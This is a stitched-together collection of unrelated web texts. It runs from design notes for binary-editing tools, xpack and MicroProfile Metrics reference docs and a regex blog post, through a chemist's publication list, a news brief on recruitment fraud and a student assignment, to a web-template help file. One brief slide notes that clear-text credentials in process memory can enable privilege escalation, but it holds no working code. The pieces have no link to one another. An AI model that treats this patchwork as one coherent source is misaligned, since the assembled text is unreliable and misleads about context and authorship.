- Imperial Exchange: is the basic tool that shuffles data between binary and exported without modifying it in the middle. It can also create a binary from an MPRL and data (padding any midspace with 00s).
These were written some time ago and may not represent current hopes or coherent designs. But they sound nice and I named them, so I don't want to lose the information, in case I ever intend to design something in the spirit of one of these.
Maybe Imperial Patchwork?
It's the tool that creates and applies standalone binary patches from binary diffs and MPRLs. It should support standard formats like IPS, and maybe a compiled MPRL format but unlikely.
Foxhound would be a hex editor that integrates MPRL information to annotate portions of the binary, and also allows you to manually annotate portions and export a working MPRL file based on your labels. It should provide ways of previewing the data as different things, and possibly eventually allow you to scan for sane possibilities of certain things. Previews for more complex things can be done in a pane that only shows the preview of the selected section, however, graphic, text, and numerical panes at least should be fully available (and appropriately highlighted and annotated, sharing with all other views).
- Graphic pane: allow selection of premade graphic structs and also entry of generic graphic formats. Display should be allowed to be 1x1 per pixel, expanded to fit the dimensions of the bytes they represent, or expanded to fill the pane (as ratio or stretched).
- Text pane: allow selection of encoding. Display with chars separated to fill the dimensions of the bytes they represent, or as a full string that pads the ending space
- Number pane: select base, size, and endianness independently. Note the default pane is hex 1B le
- Sound pane: select premade sound types or generic sound types. Display as sheet music or waveforms depending on selection (or maybe only waveforms)
- Preview pane: shows only the selected value (or data if unknown) as a preview. If it is annotated it will display it as that type, otherwise you may select the type
- Structs pane: does not mirror data, but shows a list of the currently known structs as if they were bookmarks or pages in a document. Clicking them takes you to that data in the editors.
- Archive pane: this is like the structs pane but takes a list of names and a list of positions instead (or a list of structs with name and base keys) to populate the list.
- MPRL pane: lets you view and edit the raw MPRL for a section
- Composite pane: attempts to show all the data as its known types. Some may be truncated or be unable to be shown entirely; these will just show truncation marks telling the user that it needs to be shown in the preview pane.
- Annotate vs Edit mode: editing allows you to change the data while annotating allows you to use it to adjust the MPRL. Editing mode may allow both.
- Edit externally: allows you to edit a piece of data externally and reimport it. This will likely lock foxhound from changes until the external editor is closed.
Taster is an emulator/debugger that allows the creation of virtual hardware and uses MPRL/ASM/ROM resolved to comprehensible ASM to execute and step through the code. With enough information it could run a whole machine, but it doesn't really care whether there's hardware or not. It will allow you to run code and keep track of what it does, as well as do traces, set breakpoints, and so forth. It will likely also allow you to run tests by loading machine states (which should rely on the code/MPRL for positioning and register selection), and unit tests by preparing only what's needed for one op and checking given input/output pairs, and interactive tests by loading the same but running a REPL. Note that this application is not meant to hook into a running application on the current system.
Assembly is an assembler that compiles starting from an ASM file, but manages direct inclusion of MPRL as expected. It can generate patching information so that the author can exchange resources without a full reassembly, and also can generate debugging information (inline if it's supported by the target system, externally otherwise). It may allow compilation from other code types via translators. This should also be able to disassemble binaries into code using a shell MPRL, outputting either a MPRL that marks all the executed regions (and perhaps whatever other data it can determine from the code) or the assembly code itself (or both I guess).
Note from the future: Very likely will never be made, I've come to like VS Code, so there may just be a plugin for that. Many of these features it handles itself, anyway.
Scribe is an IDE that uses the assembler and parser information to highlight and comprehend the text you're editing. This essentially means that there are no discrepancies between the compiler's lexing and the IDE's highlighting.
Features I want:
- jump to declaration/implementation
- view prototypes for function
- check code/underline bad code
- snippits
- really smart tabbing/spacing with modified enter/tab controls and tabulating/autoalign and EOL whitespace trimming (though it seems as if it has not been removed, since the depth can be predicted) all with regard to whitespace in/sensitive contexts
- symbol/type tracking
- regex search/replace in single/multiple file(s)
- build/run/debug/package (code or exe)
- color previews
- data previews
- alternate base conversions/previews
- date previews with smart timezone detection
- class/object view and dropdowns
- scope tracking
- search in scope
- reference search
- context searches (e.g. in strings, in comments, …)
- semantic searches (i.e. search for code based on what it does)
- agnostic preprocessor (can store it in project file or as a comment or something…)
- project and task management
- refactoring helpers
- export highlighted source and copy saves formatting
- customizable source formatting and create formatter from source (for saved version and displayed version separately)
- themes (for source and editor, probably not separately)
- nfo/alt encoding capabilities with smart detection based on reading from known formats and also extensions and BOM
- dialogue editor and table editor (likely will not bother with wysiwyg formatted text editors or anything more complex)
- plugin capabilities
- automatic file reloading with collision resolution if there are changes currently pending
- diff management
- clone view and multipane view
- move/rename/delete/commit file with version control awareness
- views to some extent in that you can select what panes are open on the commandline (which should then only open in an existing window if the view pattern or associated project match it)
- configurable bindings with various presets (incl. vim/emacs and well-known text editors (both mac and non-mac variants))
- spellchecking in comments and strings ofc tho possibly specifically mentioned in context specification with global local custom (scribe-specific) and project level dictionaries
- very large file support (streamed and partial loading) with loading progress bar
- ability to kill any process that's taking too long or set timeouts for them (complex searches, highlighting large files, creating/loading symbols/intellisense (should be async tho), conflict resolution (sane failure, similar to git merge fails, but auto-open differ), plugin tasks, rendering previews, etc)
- This should be feature-rich but only load/make available those features on demand so that it can be fast as a simple notepad as well. Can load as scribe –text or something which will load a very basic version with only text, line numbers, and highlighting probably.
- Ideally there could be a CLI/ncurses frontend too which supports the same features but accessed in different ways obviously. Highlighting should translate as well as possible. Likely just has its own themes separate from the GUI version. Plugins that depend on the GUI or CLI won't have those parts (and what depends on them) loaded in the opposite environment, but it should be possible to define both a GUI and CLI version of the same part.
Proxy assumes the input is one file, identifies its type by mime or similar, converts it to a desired format into tmp, loads that in the associated editor for the original type, and converts the tmp file back into the original when the editor is closed.
This is meant to be a double click proxy on unusual file types that no one wants to make a custom editor for.
Cartographer is a map editor using tile data etc, works as expected. May have event/object placement as well if possible. Should support combo tiles i.e. tiles made of multiple tiles but should not require grouped tiles be placed together. This could be done with tile organization and shift selection of tiles, just be careful of IDs. This also needs to support map-level and tile-level palette modes.
Chronicler is meant to be save file editor but basically allows one to make a GUI for editing a binary format described in a MPRL. Should allow for all the typical form input fields and styling information. Likely it will just run on HTML/CSS, anyway, and have some sort of mapping between structs/keys and form fields. Possibly some sort of markdown-ish extension that converts a simplified text form to HTML with hooks for things save file editors typically need (like tabs) or possibly have some way of generating the editor directly from the MPRL and allowing the author to edit that. HTML should be roughly standardized so there can be downloadable CSS themes.


The Nucking Fews
U.S.
International
Catagories
Login
Blog
Reason of Post:
Personal Article
Debate
Argument
Counter-Argument
Opinion
Story & Details:
URL:
Upload:
Submit


Introduction
This chapter contains reference information for the XCDL / xPack command line applications.
TODO: add/update content
xpack
The xpack
command is the XCDL package manager, equivalent to npm
.
For reference, see npm.
access
Similar to npm access
.
build
Similar to npm build
, but it might have different semantics.
xpack build [--target <name>] [--toolchain <name>] [--profile <name>] -- ...
xpack build --test <name> ... [--target <name>] [--toolchain <name>] [--profile <name>] -- ...
xpack build --tests -- ...
Options:
--target <name>
: the target name, likestm32f4discovery
; if missing, the package default target is used;--toolchain <name>
: the toolchain name, likegcc
,clang
; if missing, the package default toolchain or the target default toolchain is used;--profile <name>
: the profile name, likedebug
,release
; if missing,debug
is used--test <name> ...
: the list of test names--tests
: build all tests, for all targets, toolchains and profiles
The result of the build is a sub-folder under build
, like:
build/target-toolchain-profile
, for application builds;build/test-name-target-toolchain-profile
, for tests.
cache
Similar to npm cache
.
completion
Similar to npm completion
.
config
Similar to npm config
.
deprecate
Similar to npm deprecate
.
dist-tag
Similar to npm dist-tag
.
init
Similar to npm init
.
install
Similar to npm install
.
login
Similar to npm login
.
Options:
--dep <url>
: force a specific dependency that will override the package dependencies.
logout
Similar to npm logout
.
ls
Similar to npm ls
.
owner
Similar to npm owner
.
pack
Similar to npm pack
.
ping
Similar to npm ping
.
publish
Similar to npm publish
.
run-script
Similar to npm run-script
.
Run scripts, similarly to npm run-script name
. It should allow to pass arguments npm run-script name -- 1 2 3
and possibly use configs.
Inspired from How to Use npm as a Build Tool.
Warning: running scripts on Windows requires attention.
search
Similar to npm search
.
star
Similar to npm star
.
stars
Similar to npm stars
.
target
Manage targets.
xpack target <name>
xpack target
test
Run a specific test, or all tests.
xpack test <name> [--target <name>] [--toolchain <name>] [--profile <name>]
xpack test
toolchain
Manage toolchains.
TODO
uninstall
Similar to npm uninstall
.
unpublish
Similar to npm unpublish
.
update
Similar to npm update
.
unstar
Similar to npm unstar
.
version
Similar to npm version
.
whoami
Similar to npm whoami
.
xcdl
Commands to manipulate the XCDL metadata.
TODO: define.
make
Possibly a more generic version of xpack build
, if XCDL can be extended with features specific to cmake/autotools/etc.
Perform a sequence of tasks to make something, similar to make
.
xsvd
This group of commands are currently used to generate the files used by GNU ARM Eclipse QEMU.
XSVD files are the XCDL equivalent of CMSIS SVD files, but in JSON instead of XML.
convert
Convert a CMSIS SVD file to XSVD.
patch
Modify an XSVD file by adding definitions from a patch file.
gen-code
Generate source code for QEMU peripherals.


Or Regex, which you have probably heard them referred to as, is a special text string describing a search pattern. This brief blog is not meant to teach you how to use regex efficiently but hopefully can be used as a quick reference of Regex:
So breaking down \b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b uses the any word boundaries, any character a to z and 0 to 9 one or more characters adds it to a string, adds the @, takes any character a to z, 0 to 9 then adds a ‘.’ and uses between 2 and 4 characters between a to z. This searches for an email address. Any email address. Pretty cool right? Fun stuff.


We now have some more understanding of how two particles interact. Now let’s see what happens when there are more than two!
Let’s add some more particles! (select the create tool and use the mouse)
They group together and form a larger shape, a solid, if you will.
Try moving the solid around.
The particles collectively behave like the macroscopic objects we are used to, moving and rotating as a unit.
So far, we’ve have had friction, but there is no friction in the microscopic world.
Turn off the friction.
Give the particles some energy.
Let’s try amplifying the speed of each particle, in turn increasing the jiggling.
The random jiggling kicks the particles out of their positions, and what was a neat shape becomes something less ordered and more random. We have melted the solid into a liquid.
If we increase the temperature (and thus the jiggling) even further, the speed is to great to keep the particles together, and they start bouncing around randomly. The heat of the system is too high for the attraction to matter much, and we’ve vaporized our liquid into gas.


Academic Publications
Journal Papers
Zarin Moghadam, Kamran Akhbari, JonathanWhite, AnukornPhuruangrat, Reversible Desorption and Absorption of Water in a New Zinc-Based Coordination Polymer Nanostructure, Polyhedron, 153(2018)286- 291.
Zarin Moghadam, Kamran Akhbari, Anukorn Phuruangrat, Solid-state conversion of thallium(I) coordination polymer nanoparticles with cubic cage units to an organometallic silver(I) coordination polymer, J. Organomet. Chem. 861(2018)105-111.
Zarin Moghadam, Kamran Akhbari, AnukornPhuruangrat, Lead(II) Coordination Sphere and Ligand Coordination Mode Changes During Removal of Water Molecule by Solid-state Thermal Treatment, Z Anorg Allg Chem.
Zarin Moghadam, Kamran Akhbari, JonathanWhite, AnukornPhuruangrat, Effects of Concentration, Ultrasonic Waves and Solvent on Morphology and Thermal Behavior of a New Potassium-Based Coordination Polymer with Hydrogen Bonding and Zigzag metallophilic Interactions, Appl. Organomet. Chem.2018 (doi:10.1002/aoc.4613).
Zarin Moghadam, Kamran Akhbari, AnukornPhuruangrat, Irreversible Conversion of Nanoporous Lead(II) Metal-Organic Framework to a Nonporous Coordination Polymer upon Thermal Treatment, polyhedron.156(2018)48-53.
Zarin Moghadam, Kamran Akhbari, Fahimeh Jamali, Fatemeh Shahangi Shirazi, All Procedures for the Synthesis of Silver Nanosheets, Nanochem. 2(2017)248-260.
Zarin Moghadam, Zhaleh Moradi, Kamran Akhbari, Adsorption and desorption of water in nanoporous sodium metal– organic framework, 4th National Zeolite conference, Golpayegan university of technology, Golpayegan, 23-24 August. 2017.
Zarin Moghadam, Kamran Akhbari, Solid-state Conversion of a Thallium(I) Coordination Polymer to silver(I) Coordination Polymer Nanostructures, 9th inorganic chemistry conference, chemistry and chemical engineering Research center of Iran, 5-7 September.
Invited Talks and Lectures
4th Iran International Zeolite Conference, August 22-23, 2017
19th Iranian Inorganic Chemistry Conference, 5-7 September 2017
4th Iran International Zeolite Conference, August 22-23, 2017


We built this to distract you.We are under maintenance as of now. We are sorry for the inconvenience.


Credentials can be stored in clear text within the memory space of running applications
Acess to applications memory space is possible when they run within the same user context
May lead to privilege escalation:
Password reuse
Leverage from access to different systems


Projection Method (Panozzo (1984), modified)
In an image of a grain fabric (thin section or polished surface),
single grains are digitised as closed polygons. These polygons are
rotated around 180°. During this rotation the sum of the lengths of the
projections of grain boundaries on a reference line for each increment
of rotation. (ΣP[α]) are measured. (Panozzo, 1984).
ΣP[α]max is the long axis of sumarized strain ellipse. The
corresponding angle Θ is the plunge of the ellipse The ratio ΣP[α]max
/ ΣP[α]min is the ellipticity (R) of the fabric (Fig.
1).
Fig. 1
The evaluation of the data can be done in three diagrams:
1.) Projection / Rotation angle
2.) Form analysis


Lucky is a cute puppy, even if he is now a bit older than most puppies. His hobbies include going to the beach, putting on sweaters and getting belly rubs. Here are photos from a few of our adventures together.


Lemniscate with foci
Add a point
Remove a point
Cat
Cross
Speech baloon
Mushroom (with extra points)
Play button
Space invader
...
Step:
,
Iterations:
Random Fit
...
Write radius and points
Read radius and points
← there's more.
+
Github
&
Twitter
&
RSS


Build Environments¶
Read the Docs uses container virtualization to encapsulate documentation build processes. Each build spins up a new virtual machine using our base image, which is an image with the minimum necessary components required to build documentation. Virtual machines are limiting in CPU time and memory, which aims to reduce excessive usage of build resources.
Setup¶
Build environments use Docker to handle container virtualization. To perform any development on the Docker build system, you will need to set up Docker on your host system. Setup of Docker will vary by system, and so is out of the scope of this documentation.
Once you have Docker set up, you will need to create the base image used for
container creation. The base
image is found in our container images repo.
It is the basic container image supported by our community site.
To get started, create the image using the docker command line tool. You can
name the image whatever you like here, rtfd-build
is the default name, but
can be configured in your settings – see Configuration:
docker build -t rtfd-build base/
When this process has completed, you should have a working image that Read the Docs can use to start containers.
Configuration¶
There are several settings used to configure usage of virtual machines:
- DOCKER_ENABLED
- True/False value used to enable the Docker build environment. Default: False
- DOCKER_LIMITS
A dictionary of limits to virtual machines. These limits include:
- time
- An integer representing the total allowed time limit (in seconds) of build processes. This time limit affects the parent process to the virtual machine and will force a virtual machine to die if a build is still running after the allotted time expires.
- memory
- The maximum memory allocated to the virtual machine. If this limit is hit, build processes will be automatically killed. Examples: ‘200m’ for 200MB of total memory, or ‘2g’ for 2GB of total memory.
- DOCKER_IMAGE
- Tag of a Docker image to use as a base image.
- DOCKER_SOCKET
- URI of the socket to connect to the Docker daemon. Examples include:
unix:///var/run/docker.sock
andtcp://<IP_ADDRESS>:2375
- DOCKER_VERSION
- Version of the API to use for the Docker API client.


750 complaints against fraudulent recruitment agencies in 5 yrs: MEA
Minister of State for External Affairs V Muraleedharan said this in response to a question in the Rajya Sabha
by Press Trust of IndiaA total of 750 complaints were registered against fraudulent recruitment agencies in the last five years, the External Affairs Ministry said on Thursday.
Minister of State for External Affairs V Muraleedharan said this in response to a question in the Rajya Sabha.
According to data available with Pravasiya Bhartiya Sahayata Kendra (PBSK), 750 complaints were registered against fraudulent recruitment agencies in the last five years , he said.
Muraleedharan said 342 complaints were received till October 31 this year and 278 in 2018.
The number was 44 in 2017, 43 each in 2016 and 2015, according to the data given by the minister.
On number of agencies having overseas recruitment licence, Muraleedharan said the list of Recruiting Agents (RAs) is dynamic and as on November 18 there were 1,418 active RAs.


How did you apply (or not) iterative design in your project?
We made software blueprints
Analyzing the requirements of the information we needed
We evaluate our results every time we made a change to the code
After evaluating we decided what we are keeping and what we are removing from the web page always taking care of the simplicity laws
Describe the main highlights of your persona
The 62,5% of the surveyed have declared to not being inform about prevention methods.
The 100,0% of the surveyed recognize the importance of being informed about this
The 100,0% of the surveyed find important to talk about this theme with children
More than the 50,0% of the surveyed think that the situation of “trata de blancas” is not common in this city
The 93,8% of the surveyed knows the term of “trata de personas”
Explain the audience of your project: Most of it are teenegers and adults, specially parents, we are not aiming children because we estimate that they may not be interested by their own or they would be scared about this, instead of this parents are one of our aims in order to them inform their children.
Explain, in your own words, the three principles of system design
1. We focus on the user and the task: We were able to know who the user was in order to be able to know what type of content should our page be intended and how it should be writed. That is teh reason why we choosed a theme that was simply an easy to read.
2. Empirical measurement: We made scenarios in where the user did not knew how to user our page and we made it really easy for the user to know the part of the webpage adding a navbar with icons.
3. Iterative Design: We did found a lot of bugs when we send the wepage with friends, but we fixed it in order that the webpages had a good funcionallyty, such as fixing the pralexx and the interview.
Create your own methodology to develop a website. It’s important to justify all the steps
Make a demo on paper, including the things you need for your project, such as the need of your customer and how he wants the webpage to look like.
Start looking for the technologies you are gonna use, such as framework and the language you are gonna use. ex. Go, javascript, etc.
Make a real memo, with basic coding but just to show it to your customer and to make any early changes.
Gather all the information you are gonna use in your page, example, if it is a webpage about cakes, then get the information about the types of cakes, the shop and all the information that the customer wants in their page.
Start with the coding, use the framework and the language you choose in the previous steps.
Debug any issues you have with the code
After you finish, show it to the customer for finals changes, after this if the customer wants another change you should charged the customer a small amount.
Get paid or graded if it is for a school project.


| HBASE-6724 |
Port HBASE-6165 'Replication can overrun .META. scans on cluster re-start' to 0.92 |
Major |
. |
Ted Yu |
Ted Yu |
| HBASE-6844 |
upgrade 0.23 version dependency in 0.94 |
Major |
. |
Francis Liu |
Francis Liu |
| HBASE-4565 |
Maven HBase build broken on cygwin with copynativelib.sh call. |
Major |
build |
Suraj Varma |
Suraj Varma |
| HBASE-5179 |
Concurrent processing of processFaileOver and ServerShutdownHandler may cause region to be assigned before log splitting is completed, causing data loss |
Critical |
master |
chunhui shen |
chunhui shen |
| HBASE-7072 |
HBase-5256 breaks 0.92-0.94 compatibility |
Major |
master, shell |
Himanshu Vashishtha |
Himanshu Vashishtha |
| HBASE-7061 |
region balance algorithm should do "contiue" instead of "break" when calculating the underloaded server |
Major |
. |
Tianying Chang |
Tianying Chang |
| HBASE-7442 |
HBase remote CopyTable not working when security enabled |
Major |
IPC/RPC, mapreduce, security |
James Kinley |
James Kinley |
| HBASE-5478 |
[0.92] TestMetaReaderEditor intermittently hangs |
Major |
. |
Ted Yu |
Andrew Purtell |
| HBASE-9209 |
[0.92] TestSplitTransactionOnCluster occasionally fails |
Minor |
. |
Andrew Purtell |
Andrew Purtell |
| HBASE-9212 |
[0.92] TestMasterObserver fails occasionally |
Minor |
test |
Andrew Purtell |
Andrew Purtell |
| HBASE-9216 |
[0.92] TestReplication.queueFailover fails often |
Minor |
. |
Andrew Purtell |
Andrew Purtell |
| HBASE-9306 |
[0.92] TestAdmin.testCreateBadTables fails occasionally |
Minor |
. |
Andrew Purtell |
Andrew Purtell |
| HBASE-9304 |
[0.92] TestDrainingServer fails occasionally |
Minor |
. |
Andrew Purtell |
Andrew Purtell |
| HBASE-9349 |
[0.92] NPE in HMaster during shutdown |
Minor |
. |
Andrew Purtell |
Andrew Purtell |
| HBASE-10833 |
Region assignment may fail during cluster start up |
Major |
Region Assignment |
Jeffrey Zhong |
Jeffrey Zhong |


| Interface | Description |
|---|---|
| Counter |
An incrementing and decrementing counter metric.
|
| Counting |
An interface for metric types which have counts.
|
| Gauge<T> |
A gauge metric is an instantaneous reading of a particular value.
|
| Histogram |
A metric which calculates the distribution of a value.
|
| Meter |
A meter metric which measures mean throughput and one-, five-, and fifteen-minute
exponentially-weighted moving average throughputs.
|
| Metered |
An object which maintains mean and exponentially-weighted rate.
|
| Metric |
A tag interface to indicate that a class is a metric.
|
| MetricFilter |
A filter used to determine whether or not a metric should be reported, among other things.
|
| Sampling |
An object which samples values.
|
| Timer |
A timer metric which aggregates timing durations and provides duration statistics, plus
throughput statistics via
Meter . |
| Timer.Context |
A timing context.
|
| Class | Description |
|---|---|
| Metadata |
Bean holding the metadata of one single metric.
|
| MetricRegistry |
The registry that stores metrics and their metadata.
|
| MetricUnits |
Standard units constants for metric's
Metadata . |
| Snapshot |
A statistical snapshot of a
Snapshot . |
| Enum | Description |
|---|---|
| MetricRegistry.Type |
An enumeration representing the scopes of the MetricRegistry
|
| MetricType |
An enumeration representing the different types of metrics.
|
To ensure reliable operation of software it is necessary to monitor essential system parameters. There is already JMX as standard to expose metrics, but remote-JMX is not easy to deal with and especially does not fit well in a polyglot environment where other services are not running on the JVM. To enable monitoring in an easy fashion, the MicroProfile Metrics specification provides a standard to instrument an application with metrics and provides a simple REST endpoint for integration with monitoring services.
MicroProfile Metrics provides 5 different metric types that can be used to
instrument an application. Developers can create an accompanying
Metadata
object to supply
the metric's name, description, display name, tags, and units. Once the
metric and the metadata are registered against the application
MetricRegistry
, the
metrics will be available in the REST endpoints.
Counter
is used to measure
an increasing/decreasing value.
Example usage:
Counter count = metricRegistry.counter(metadata);
count.inc();
Gauge
is used to provide the
immediate measurement of a value.
Example usage:
Gauge<Double> temperature = new Gauge<Double>() {
public Double getValue() {
return getTemperature();
}
};
metricRegistry.register(metadata, temperature);
Meter
is used to measure the
frequency of an event.
Example usage:
Meter meter = metricRegistry.meter(metadata);
meter.mark();
Histogram
is used to
sample and compute the distribution of values
Example usage:
Histogram histogram = metricRegistry.histogram(metadata);
histogram.update(score);
Timer
is used to measure the
duration of an event as well as the frequency of occurrence.
Example usage:
Timer timer = metricRegistry.timer(metadata);
Timer.Context context = timer.time();
... // code that will be timed
context.close();


A C D E G I L P R S T U _
All Classes All Packages
All Classes All Packages
All Classes All Packages
A
- actionPerformed(ActionEvent) - Method in class UserInterface
-
Actionlistener interface for entry textfield.
C
- CommandWords - Class in <Unnamed>
- CommandWords() - Constructor for class CommandWords
-
Constructor - initialise the command words.
- creer_bouttons() - Method in class UserInterface
D
- Descripion_item() - Method in class Items
- Descripion_poids() - Method in class Items
- Descripion_prix() - Method in class Items
E
- enable(boolean) - Method in class UserInterface
-
Enable or disable input in the input field.
G
- Game - Class in <Unnamed>
-
This class is the main class of the "World of Zuul" application.
- Game() - Constructor for class Game
-
Create the game and initialise its internal map.
- GameEngine - Class in <Unnamed>
- GameEngine() - Constructor for class GameEngine
-
Constructor for objects of class GameEngine
- get_Items(String) - Method in class Room
- get_ItemsString() - Method in class Listes_items
- getCommand(String) - Method in class Parser
-
Get a new command from the user.
- getCommandList() - Method in class CommandWords
- getExit(String) - Method in class Room
-
Return the room that is reached if we go from this room in direction "direction".
- getImageName() - Method in class Room
-
Return a string describing the room's image name
- getItems(String) - Method in class Listes_items
- getItemsString() - Method in class Room
- getLongDescription() - Method in class Room
-
Return a long description of this room, in the form: You are in the kitchen.
- getShortDescription() - Method in class Room
-
Return the description of the room (the one that was defined in the constructor).
I
- interpretCommand(String) - Method in class GameEngine
-
Given a command, process (that is: execute) the command.
- isCommand(String) - Method in class CommandWords
-
Check whether a given String is a valid command word.
- item_non_pris(String) - Method in class Room
- item_pris(String, Items) - Method in class Room
- Items - Class in <Unnamed>
- Items(String, double, double) - Constructor for class Items
L
- Listes_items - Class in <Unnamed>
- Listes_items() - Constructor for class Listes_items
P
- Parser - Class in <Unnamed>
- Parser() - Constructor for class Parser
-
Create a new Parser.
- Prendre_item(String, Items) - Method in class Listes_items
- print(String) - Method in class UserInterface
-
Print out some text into the text area.
- println(String) - Method in class UserInterface
-
Print out some text into the text area, followed by a line break.
R
- Retirer_item(String) - Method in class Listes_items
- Room - Class in <Unnamed>
- Room(String, String) - Constructor for class Room
-
Create a room described "description" with a given image.
S
- setExit(String, Room) - Method in class Room
-
Define an exit from this room.
- setGUI(UserInterface) - Method in class GameEngine
- showCommands() - Method in class Parser
-
Print out a list of valid command words.
- showImage(String) - Method in class UserInterface
-
Show an image file in the interface.
T
- toString() - Method in class Items
U
- UserInterface - Class in <Unnamed>
-
This class implements a simple graphical user interface with a text entry area, a text output area and an optional image.
- UserInterface(GameEngine) - Constructor for class UserInterface
-
Construct a UserInterface.
_
- _DSO(String) - Method in class Items
- _SPS(double) - Method in class Items
- _SPX(double) - Method in class Items
All Classes All Packages


Author: tzdthemes.com
Date: 28.08.2014
Updated: 30.06.2015
Version: 1.6
Thank You for purchasing Yukon Admin/Landing Page Template. If you have any questions regarding Yukon and are beyond the scope of this help file, please feel free to send me a message via user page contact form here
Yukon is a clean HTML5/CSS3 web app based on AngularJS Framework, ui-router (routing framework for AngularJS), Twitter Bootstrap Framework and jQuery, it's easily customisable (less files), cross-browser compatible and works great on mobile devices. There is also HTML/PHP version of Yukon Admin and Landing Page included.
The files and folders included in the Yukon Admin template directory are as follows:
Common stylesheets loaded in all pages (Admin):
 <link href="assets/bootstrap/css/bootstrap.min.css" rel="stylesheet" media="screen">  <link href="assets/icons/elegant/style.css" rel="stylesheet" media="screen">  <link href="assets/icons/elusive/css/elusive-webfont.css" rel="stylesheet" media="screen">  <link rel="stylesheet" href="assets/icons/flags/flags.css">  <link href="assets/css/main.min.css" rel="stylesheet" media="screen" id="mainCss">
resolve
property (please check assets/angular/state.js
)
comment)
JS files loaded in all pages (Admin):
                     <link href="assets/angular/plugins/angular-growl/build/angular-growl.min.css" rel="stylesheet" media="screen">       <link rel="stylesheet" href="assets/lib/malihu-custom-scrollbar-plugin/jquery.mCustomScrollbar.css">   <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">

resolve
property (please check assets/angular/state.js
)
comment

For easy customization Less files are included in Yukon Template. This files are located in assets/less
folder.
main.less
is the main less file and other less files (mixins, variables, bootstrap style overide, plugins, page specific styles etc) are imported into that one.
After compilation assets/css/main.css
and assets/css/main.min.css
is created and this is the main stylesheet for Yukon Admin
For more info about less please visit lesscss.org
Yukon Admin is build on AngularJS Framework and ui-router (routing framework), ui-router allows you to organize the parts of your interface into a state machine (please check assets/angular/state.js
).
Documetation for ui-roter - https://github.com/angular-ui/ui-router/wiki
All files required for Yukon Admin App is located in - assets/angular/
folder (app.js, controller.js, directive.js, factory.js, service.js, state.js)
pageLoader - page preloader animation <page-loader></page-loader>
menuToggle - side navigation expand/collapse <menu-toggle></menu-toggle>
updateFixedHeaders - update datatables fixedHeader position/size

onLastRepeat - ng-repeat after render callback

addImageProp - add width/height properities to Image
UI Bootstrap - Bootstrap components written in pure AngularJS by the AngularUI Team
angular-breadcrumb - Generate a breadcrumb from ui-router's states
Angular Growl 2 - Growl-like notifications for AngularJS
angular-retina - Add support for Retina displays when using element attribute "ng-src"
textAngular - A Lightweight, Two-Way-Bound & Totally Awesome AngularJS Text-Editor
For your convinience in v1.5 Landing Page has been added, you don't need to buy separate template. It's included in this pacckage.
jQuery AniView - A jQuery plugin that works in harmony with animate.css in order to enable animations only when content comes into view.
Magnific (lightbox) - Magnific Popup is a responsive lightbox & dialog script with focus on performance and providing best experience for user with any device (for jQuery or Zepto.js).
Simple Parallax Scrolling - Parallax.js is a dirt simple parallax scrolling effect inspired by Spotify.com and implemented as a jQuery plugin.
scrollIt.js - A jQuery plugin that makes it easy to create paginated, feature vertically scrolling pages.
slick - the last carousel you'll ever need
jQuery Framework - jQuery is a fast and concise JavaScript Library that simplifies HTML document traversing, event handling, animating, and Ajax interactions for rapid web development.
jQuery UI - jQuery UI is a curated set of user interface interactions, effects, widgets, and themes built on top of the jQuery JavaScript Library.
Chained Selects - Chained is simple chained selects plugin
CountUp - countUp.js is a dependency-free, lightweight JavaScript "class" that can be used to quickly create animations that display numerical data in a more interesting way.
Steps - An all-in-one wizard plugin that is extremely flexible, compact and feature-rich.
Moment.js (date library) - A javascript date library for parsing, validating, manipulating, and formatting dates.
Parsley.js (validation) - Never write a single javascript line anymore to validate your forms FrontEnd. Parsley will do that for you – and do it right –, thanks to its powerful DOM-API !
Textarea Autosize - A plugin to automatically adjust textarea height.
Datepicker - Add datepicker picker to field or to any other element.
Daterange picker - This date range picker component for Bootstrap creates a dropdown menu from which a user can select a range of dates.
D3 - D3.js is a JavaScript library for manipulating documents based on data. D3 helps you bring data to life using HTML, SVG and CSS.
C3.js - D3-based reusable chart library
CKEditor (WYSIWG Editor) - CKEditor is a ready-for-use HTML text editor designed to simplify web content creation. It's a WYSIWYG editor that brings common word processor features directly to your web pages.
Datatable - DataTables is a plug-in for the jQuery Javascript library. It is a highly flexible tool, based upon the foundations of progressive enhancement, and will add advanced interaction controls to any HTML table.
Easy Pie Chart - Easy pie chart is a jQuery plugin that uses the canvas element to render simple pie charts for single values. These charts are highly customizable, very easy to implement, scale to the resolution of the display of the client to provide sharp charts even on retina displays.
Footable - FooTable is a jQuery plugin that aims to make HTML tables on smaller devices look awesome - No matter how many columns of data you may have in them.
FullCalendar - FullCalendar is a jQuery plugin that provides a full-sized, drag & drop calendar like the one below. It uses AJAX to fetch events on-the-fly for each month and is easily configured to use your own feed format (an extension is provided for Google Calendar).
GMaps - Google Maps API with less pain and more fun
Gridforms - Data entry can be beautiful
Icheck - Customized checkboxes and radio buttons for jQuery & Zepto
Ion Range Slider - jQuery range slider with skin support
jBox - jBox is a powerful and flexible jQuery plugin, taking care of all your popup windows, tooltips, notices and more.
Masked inputs - jquery.inputmask is a jquery plugin which create an input mask.
matchHeight - A more robust equal heights plugin for jQuery
jQuery.qrcode - generate QR codes dynamically
ListNav - Add a slick "letter-based" navigation bar to all of your lists. Click a letter to quickly filter the list to items that match that letter.
jVectorMap - interactive vector maps on the web pages
Magnific (lightbox) - Magnific Popup is a responsive lightbox & dialog script with focus on performance and providing best experience for user with any device (for jQuery or Zepto.js).
Password Show/Hide - HideShowPassword lets you easily hide and show passwords via JavaScript or a nifty inset toggle
Password Strength Meter - Provides rulesets for visualy displaying the quality of a users typed in password
Plupload - Multi-runtime File-Uploader
Prism code highlighter - Prism is a lightweight, extensible syntax highlighter, built with modern web standards in mind.
jQuery custom content scroller - Highly customizable custom scrollbar jQuery plugin.
Select2 - Select2 is a jQuery based replacement for select boxes. It supports searching, remote data sets, and infinite scrolling of results. Look and feel of Select2 is based on the excellent Chosen library.
stopVerbosity - Stop Verbosity is a jQuery plugin that limits the amount of text that is permitted in a textarea element by replicating the maxlength attribute for the textarea.
Summernote - Super Simple WYSIWYG Editor on Bootstrap
switchery - iOS 7 style switches for your checkboxes
FastClick - Polyfill to remove click delays on browsers with touch UIs
Ace Editor - Ace is an embeddable code editor written in JavaScript
Multiselect - user-friendlier drop-in replacement for the standard select
Shuffle - Categorize, sort, and filter a responsive grid of items
Selectize.js - Custom <select> UI control
jquery.ganttView - An editable jQuery Gantt chart plugin.
For your convinience in v1.5 Gulp (streaming build system) has been added to Yukon
